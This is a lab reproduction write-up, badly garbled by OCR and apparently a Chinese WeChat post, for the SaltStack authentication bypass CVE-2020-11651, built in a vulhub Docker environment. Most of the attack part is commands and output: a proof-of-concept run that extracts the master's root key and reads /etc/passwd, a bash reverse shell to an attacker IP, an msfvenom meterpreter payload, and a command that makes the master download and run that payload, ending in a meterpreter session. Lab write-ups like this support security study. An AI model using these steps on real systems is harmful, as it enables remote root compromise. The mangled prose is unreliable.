CVE-2020-11651: SaltStackiAiEsI S

microworld Timeline Sec
2020-05-21/\7X

KRT 1A
#HimAENNEGE
701
RELFESFEHXEERND, —EERL!

AXEE: microworld (AIASMAKER)
FXFHE: 871

PJiERdH<: 2~3min

=i EPAkEERE, SNERER

0x01 &7

SaltStack & F Python FAN—EC/SELNEEEETH.
0x02 wiftkiz

= CVE-2020-11651
INEREREY, WEEFBIWETEIFEXR, oJLA%E Salt Master
HICUEIZLE, BARABXRENREINEE, IMMmel LUERITEd ST
i e -

ClearFuncsZE L4 EBIBNIENIBXRKFIEE send pub() A%, 5L
J=i 3k =] %= = master


javascript:void(0);
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247484803&idx=1&sn=493d632d1e31b58969385dfdde7ea937&chksm=90392373a74eaa656969b8ce989b5ac22eb2e546c9a10ff9db195616ad8393765a8d53a0fb4e&scene=27#wechat_redirect&cpage=69

publishfR$Zes EXEREHITHA., XEEELLAEMAminion
EXUUrootiRizTEEDS,

ClearFuncs % x = =2 =

_prep_auth_info() /3%, %A ERREIARINIEmasterfR5528 L
A i root B P B & € B root key ., A & root
key o B] LA o & 13 F master
BRFSENEEGS., XMEENEERHSTEIFNENKEE Y sa
It masterfy5root R RFMAVIT AR,

0x03 ElmhR4s

e SaltStack < 2019.2.4
e SaltStack < 3000.2
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BEEFERAvulhubi#iTiEdsE
git clone https://github.com/vulhub/vulhub.git

cd /vulhub/saltstack/CVE-2020-11651/

docker-compose up -d

BERERESBsdocker ps
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Poc:

https://github.com/jasperla/CVE-2020-11651-poc
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pip3 install salt=2019.2.3

#OHlip: 192.168.232.170
EHEHip: 192.168.232.129

SRR A4

python3 exploit.py --master 192.168.232.170 -r /etc/passwd

rootakali:~/Desktop/cve-2020-11651/cve-2020-11651# python3 /root/Desktop/cv
e-2020-11651/CVE-2028-11651-poc/exploit.py —master 192.168.232.170 -r /etc
/passwd

[!] Please only use this script to verify you have correctly patched system
s you have permission to access. Hit “C to abort.

[+] Salt version: 2019.2.3

[ 1 This version of salt is vulnerable! Check results below

[+] Checking salt-master (192.168.232.170:4506) status... ONLINE

[+] Checking if vulnerable to CVE-2020-11651 ...

[*] root key obtained: BW9@L18vrp+@8ge90pMTkPEPoUBfoTabeDKIXPTFfhb97BjCTAq+IE
28nXx6P1x063W/xH6pOLbY 4=

[+] Attemping to read /etc/passwd from 192.168.232.170
root:x:@:0:root:/root:/bin/bash
daemon:x:1:1:daemon:fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:6@:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
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o)t@Habd4c@2HbHc [# nc

tbash: nc: command not found
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bash -i >& /dev/tcp/192.168.232.129/23333 0>&1

ZIIHUFIHIRKY, BTEE, LTEE:

No that will be due to issues with file descriptors between your shell and the python code.
Alter the POC to use a pure python reverse shell rather than calling bash and it will work.
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https://github.com/dozernz/cve-2020-11651
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rootakali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.232.129 LPORT=23333 -a x86 —platform linux -f elf > shell
No encoder or badchars specified, outputting raw payload

Payload size: 123 bytes
Final size of elf file: 207 bytes
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rootakall ~!Desktop!cue 2929 11551Icve 2@2@ 11551# pythona CVE-2020-11651.p
y 192.168.232.170 master 'wget http://192.168.232.129/shell|./shell’
Attempting to ping master at 192.168.232.178@

Retrieved root key: BW9OLL8vrp+@ge90pMTkPEPoUBTfoTa@eDKIXPTFfhb97BjCTAg+IE28n
Xx6P1x063W/xHEpOLbY4=

Got response for attempting master shell: {'tag': 'salt/run/202005051731518
24709', 'jid': '20200585173151824709'}. Looks promising!
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meterpreter > sysinfo
Computer : 172.27.0.2

0s : Debian 10.3 (Linux 4.18.0-20-generic)
Architecture : x64

BuildTuple : 1486-linux-musl

Meterpreter : x86/linux

meterpreter > |}
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https://labs.f-secure.com/advisories/saltstack-
authorization-bypass

https://mp.weixin.qg.com/s/TwgJeRnxD--K6kXGKWUM4w
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